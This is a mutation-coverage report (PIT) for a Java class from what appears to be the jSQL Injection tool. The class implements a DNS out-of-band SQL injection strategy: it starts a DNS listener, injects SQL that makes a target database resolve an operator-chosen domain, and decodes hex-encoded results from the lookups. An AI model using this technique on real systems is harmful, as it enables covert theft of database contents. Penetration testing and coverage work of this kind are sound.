StrategyDns.java

1
/*******************************************************************************
2
 * Copyhacked (H) 2012-2025.
3
 * This program and the accompanying materials
4
 * are made available under no term at all, use it like
5
 * you want, but share and discuss it
6
 * every time possible with every body.
7
 *
8
 * Contributors:
9
 *      ron190 at ymail dot com - initial implementation
10
 *******************************************************************************/
11
package com.jsql.model.injection.strategy;
12
13
import com.jsql.model.InjectionModel;
14
import com.jsql.model.accessible.ResourceAccess;
15
import com.jsql.model.bean.util.Interaction;
16
import com.jsql.model.bean.util.Request;
17
import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
18
import com.jsql.model.injection.vendor.model.VendorYaml;
19
import com.jsql.model.suspendable.AbstractSuspendable;
20
import com.jsql.util.I18nUtil;
21
import com.jsql.util.LogLevelUtil;
22
import com.jsql.util.StringUtil;
23
import org.apache.commons.lang3.StringUtils;
24
import org.apache.logging.log4j.LogManager;
25
import org.apache.logging.log4j.Logger;
26
27
import java.util.regex.Pattern;
28
29
public class StrategyDns extends AbstractStrategy {
30
31
    private static final Logger LOGGER = LogManager.getRootLogger();
32
    private BlindOperator blindOperator;
33
    private final DnsServer dnsServer;
34
35
    public StrategyDns(InjectionModel injectionModel) {
36
        super(injectionModel);
37
        this.dnsServer = new DnsServer(injectionModel);
38
    }
39
40
    @Override
41
    public void checkApplicability() {
42 1 1. checkApplicability : negated conditional → NO_COVERAGE
        if (this.injectionModel.getMediatorUtils().getPreferencesUtil().isStrategyDnsDisabled()) {
43
            LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
44
            return;
45
        } else if (
46 1 1. checkApplicability : negated conditional → NO_COVERAGE
            StringUtils.isBlank(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain())
47 1 1. checkApplicability : negated conditional → NO_COVERAGE
            || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort())
48
        ) {
49
            LOGGER.log(
50
                LogLevelUtil.CONSOLE_INFORM,
51
                "Incorrect domain '{}' or port '{}', skipping Dns strategy",
52
                this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain(),
53
                this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort()
54
            );
55
            return;
56
        } else if (
57 1 1. checkApplicability : negated conditional → NO_COVERAGE
            StringUtils.isEmpty(this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getDns())
58
        ) {
59
            LOGGER.log(
60
                LogLevelUtil.CONSOLE_INFORM,
61
                AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
62
                this.getName(),
63
                this.injectionModel.getMediatorVendor().getVendor()
64
            );
65
            return;
66
        }
67
68 1 1. checkApplicability : removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE
        this.checkInjection(BlindOperator.OR);
69 1 1. checkApplicability : removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE
        this.checkInjection(BlindOperator.AND);
70 1 1. checkApplicability : removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE
        this.checkInjection(BlindOperator.STACK);
71 1 1. checkApplicability : removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE
        this.checkInjection(BlindOperator.NO_MODE);
72
73 1 1. checkApplicability : negated conditional → NO_COVERAGE
        if (this.isApplicable) {
74 1 1. checkApplicability : removed call to com/jsql/model/injection/strategy/StrategyDns::allow → NO_COVERAGE
            this.allow();
75
        } else {
76 1 1. checkApplicability : removed call to com/jsql/model/injection/strategy/StrategyDns::unallow → NO_COVERAGE
            this.unallow();
77
        }
78
    }
79
80
    private void checkInjection(BlindOperator blindOperator) {
81 1 1. checkInjection : negated conditional → NO_COVERAGE
        if (this.isApplicable) {
82
            return;
83
        }
84
        this.blindOperator = blindOperator;
85
        LOGGER.log(
86
            LogLevelUtil.CONSOLE_DEFAULT,
87
            "{} [{}] with [{}]...",
88 1 1. lambda$checkInjection$0 : replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$0 → NO_COVERAGE
            () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
89
            this::getName,
90 1 1. lambda$checkInjection$1 : replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$1 → NO_COVERAGE
            () -> blindOperator
91
        );
92
        String vendorSpecificWithOperator = this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
93
            String.format(
94
                "(select concat('', %s))",
95
                this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(VendorYaml.INDICE, "1")
96
            ),
97
            "1",
98
            blindOperator,
99
            false
100
        );
101
102 1 1. checkInjection : removed call to java/lang/Thread::start → NO_COVERAGE
        new Thread(this.dnsServer::listen).start();
103
        this.injectionModel.injectWithoutIndex(vendorSpecificWithOperator, "dns#confirm");
104 1 1. checkInjection : removed call to com/jsql/model/injection/strategy/StrategyDns::waitDnsResponse → NO_COVERAGE
        this.waitDnsResponse(2500);
105
106
        var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
107
        this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
108 3 1. lambda$checkInjection$2 : negated conditional → NO_COVERAGE
2. lambda$checkInjection$2 : replaced boolean return with true for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$2 → NO_COVERAGE
3. lambda$checkInjection$2 : negated conditional → NO_COVERAGE
            s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
109
        );
110 1 1. checkInjection : negated conditional → NO_COVERAGE
        if (this.isApplicable) {
111 1 1. checkInjection : removed call to java/util/List::clear → NO_COVERAGE
            this.dnsServer.getResults().clear();
112
            LOGGER.log(
113
                LogLevelUtil.CONSOLE_SUCCESS,
114
                "{} [{}] with [{}]",
115 1 1. lambda$checkInjection$3 : replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$3 → NO_COVERAGE
                () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
116
                this::getName,
117
                this.blindOperator::name
118
            );
119
        } else {
120 1 1. checkInjection : removed call to com/jsql/model/injection/strategy/DnsServer::close → NO_COVERAGE
            this.dnsServer.close();
121
        }
122
    }
123
124
    @Override
125
    public void allow(int... i) {
126 1 1. allow : removed call to com/jsql/model/InjectionModel::appendAnalysisReport → NO_COVERAGE
        this.injectionModel.appendAnalysisReport(
127
            StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
128
            + this.injectionModel.getReportWithoutIndex(
129
                this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
130
                    StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
131
                    "1",
132
                    this.blindOperator,
133
                    true
134
                ),
135
                "metadataInjectionProcess",
136
                null
137
            )
138
        );
139 1 1. allow : removed call to com/jsql/model/injection/strategy/StrategyDns::markVulnerability → NO_COVERAGE
        this.markVulnerability(Interaction.MARK_DNS_VULNERABLE);
140
    }
141
142
    @Override
143
    public void unallow(int... i) {
144 1 1. unallow : removed call to com/jsql/model/injection/strategy/StrategyDns::markVulnerability → NO_COVERAGE
        this.markVulnerability(Interaction.MARK_DNS_INVULNERABLE);
145
    }
146
147
    @Override
148
    public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
149
        new Thread(() -> this.injectionModel.injectWithoutIndex(
150
            this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
151
                sqlQuery,
152
                startPosition,
153
                this.blindOperator,
154
                false
155
            ),
156
            metadataInjectionProcess
157 1 1. inject : removed call to java/lang/Thread::start → NO_COVERAGE
        )).start();
158 1 1. inject : removed call to com/jsql/model/injection/strategy/StrategyDns::waitDnsResponse → NO_COVERAGE
        this.waitDnsResponse(5000);
159
160
        String result = this.dnsServer.getResults().get(0);
161
        var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
162
        String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
163
        var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
164 1 1. inject : negated conditional → NO_COVERAGE
        if (matcherSql.find()) {
165
            result = matcherSql.group(1);
166
        } else {
167
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
168
        }
169 1 1. inject : removed call to java/util/List::clear → NO_COVERAGE
        this.dnsServer.getResults().clear();
170 1 1. inject : replaced return value with "" for com/jsql/model/injection/strategy/StrategyDns::inject → NO_COVERAGE
        return StringUtil.fromHex(result);
171
    }
172
173
    private void waitDnsResponse(int maxTime) {
174
        int currentTime = 0;
175 3 1. waitDnsResponse : negated conditional → NO_COVERAGE
2. waitDnsResponse : changed conditional boundary → NO_COVERAGE
3. waitDnsResponse : negated conditional → NO_COVERAGE
        while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
176
            try {
177
                int waitTime = 250;
178 1 1. waitDnsResponse : removed call to java/lang/Thread::sleep → NO_COVERAGE
                Thread.sleep(waitTime);
179 1 1. waitDnsResponse : Replaced integer addition with subtraction → NO_COVERAGE
                currentTime += waitTime;
180
            } catch (InterruptedException e) {
181
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
182 1 1. waitDnsResponse : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
183
            }
184
        }
185 2 1. waitDnsResponse : changed conditional boundary → NO_COVERAGE
2. waitDnsResponse : negated conditional → NO_COVERAGE
        if (currentTime > maxTime) {
186
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
187
        }
188
    }
189
190
    @Override
191
    public void activateWhenApplicable() {
192 2 1. activateWhenApplicable : negated conditional → NO_COVERAGE
2. activateWhenApplicable : negated conditional → NO_COVERAGE
        if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
193
            LOGGER.log(
194
                LogLevelUtil.CONSOLE_INFORM,
195
                "{} [{}] with [{}]",
196 1 1. lambda$activateWhenApplicable$5 : replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$activateWhenApplicable$5 → NO_COVERAGE
                () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
197
                this::getName,
198
                this.blindOperator::name
199
            );
200 1 1. activateWhenApplicable : removed call to com/jsql/model/injection/strategy/MediatorStrategy::setStrategy → NO_COVERAGE
            this.injectionModel.getMediatorStrategy().setStrategy(this);
201
202
            var request = new Request();
203 1 1. activateWhenApplicable : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.MARK_DNS_STRATEGY);
204 1 1. activateWhenApplicable : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
205
        }
206
    }
207
    
208
    @Override
209
    public String getPerformanceLength() {
210 1 1. getPerformanceLength : replaced return value with "" for com/jsql/model/injection/strategy/StrategyDns::getPerformanceLength → NO_COVERAGE
        return VendorYaml.DEFAULT_CAPACITY;
211
    }
212
    
213
    @Override
214
    public String getName() {
215 1 1. getName : replaced return value with "" for com/jsql/model/injection/strategy/StrategyDns::getName → NO_COVERAGE
        return "Dns";
216
    }
217
}

Mutations

42

1.1
Location : checkApplicability
Killed by : none
negated conditional → NO_COVERAGE

46

1.1
Location : checkApplicability
Killed by : none
negated conditional → NO_COVERAGE

47

1.1
Location : checkApplicability
Killed by : none
negated conditional → NO_COVERAGE

57

1.1
Location : checkApplicability
Killed by : none
negated conditional → NO_COVERAGE

68

1.1
Location : checkApplicability
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE

69

1.1
Location : checkApplicability
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE

70

1.1
Location : checkApplicability
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE

71

1.1
Location : checkApplicability
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::checkInjection → NO_COVERAGE

73

1.1
Location : checkApplicability
Killed by : none
negated conditional → NO_COVERAGE

74

1.1
Location : checkApplicability
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::allow → NO_COVERAGE

76

1.1
Location : checkApplicability
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::unallow → NO_COVERAGE

81

1.1
Location : checkInjection
Killed by : none
negated conditional → NO_COVERAGE

88

1.1
Location : lambda$checkInjection$0
Killed by : none
replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$0 → NO_COVERAGE

90

1.1
Location : lambda$checkInjection$1
Killed by : none
replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$1 → NO_COVERAGE

102

1.1
Location : checkInjection
Killed by : none
removed call to java/lang/Thread::start → NO_COVERAGE

104

1.1
Location : checkInjection
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::waitDnsResponse → NO_COVERAGE

108

1.1
Location : lambda$checkInjection$2
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : lambda$checkInjection$2
Killed by : none
replaced boolean return with true for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$2 → NO_COVERAGE

3.3
Location : lambda$checkInjection$2
Killed by : none
negated conditional → NO_COVERAGE

110

1.1
Location : checkInjection
Killed by : none
negated conditional → NO_COVERAGE

111

1.1
Location : checkInjection
Killed by : none
removed call to java/util/List::clear → NO_COVERAGE

115

1.1
Location : lambda$checkInjection$3
Killed by : none
replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$checkInjection$3 → NO_COVERAGE

120

1.1
Location : checkInjection
Killed by : none
removed call to com/jsql/model/injection/strategy/DnsServer::close → NO_COVERAGE

126

1.1
Location : allow
Killed by : none
removed call to com/jsql/model/InjectionModel::appendAnalysisReport → NO_COVERAGE

139

1.1
Location : allow
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::markVulnerability → NO_COVERAGE

144

1.1
Location : unallow
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::markVulnerability → NO_COVERAGE

157

1.1
Location : inject
Killed by : none
removed call to java/lang/Thread::start → NO_COVERAGE

158

1.1
Location : inject
Killed by : none
removed call to com/jsql/model/injection/strategy/StrategyDns::waitDnsResponse → NO_COVERAGE

164

1.1
Location : inject
Killed by : none
negated conditional → NO_COVERAGE

169

1.1
Location : inject
Killed by : none
removed call to java/util/List::clear → NO_COVERAGE

170

1.1
Location : inject
Killed by : none
replaced return value with "" for com/jsql/model/injection/strategy/StrategyDns::inject → NO_COVERAGE

175

1.1
Location : waitDnsResponse
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : waitDnsResponse
Killed by : none
changed conditional boundary → NO_COVERAGE

3.3
Location : waitDnsResponse
Killed by : none
negated conditional → NO_COVERAGE

178

1.1
Location : waitDnsResponse
Killed by : none
removed call to java/lang/Thread::sleep → NO_COVERAGE

179

1.1
Location : waitDnsResponse
Killed by : none
Replaced integer addition with subtraction → NO_COVERAGE

182

1.1
Location : waitDnsResponse
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

185

1.1
Location : waitDnsResponse
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : waitDnsResponse
Killed by : none
negated conditional → NO_COVERAGE

192

1.1
Location : activateWhenApplicable
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : activateWhenApplicable
Killed by : none
negated conditional → NO_COVERAGE

196

1.1
Location : lambda$activateWhenApplicable$5
Killed by : none
replaced return value with null for com/jsql/model/injection/strategy/StrategyDns::lambda$activateWhenApplicable$5 → NO_COVERAGE

200

1.1
Location : activateWhenApplicable
Killed by : none
removed call to com/jsql/model/injection/strategy/MediatorStrategy::setStrategy → NO_COVERAGE

203

1.1
Location : activateWhenApplicable
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

204

1.1
Location : activateWhenApplicable
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

210

1.1
Location : getPerformanceLength
Killed by : none
replaced return value with "" for com/jsql/model/injection/strategy/StrategyDns::getPerformanceLength → NO_COVERAGE

215

1.1
Location : getName
Killed by : none
replaced return value with "" for com/jsql/model/injection/strategy/StrategyDns::getName → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.22.0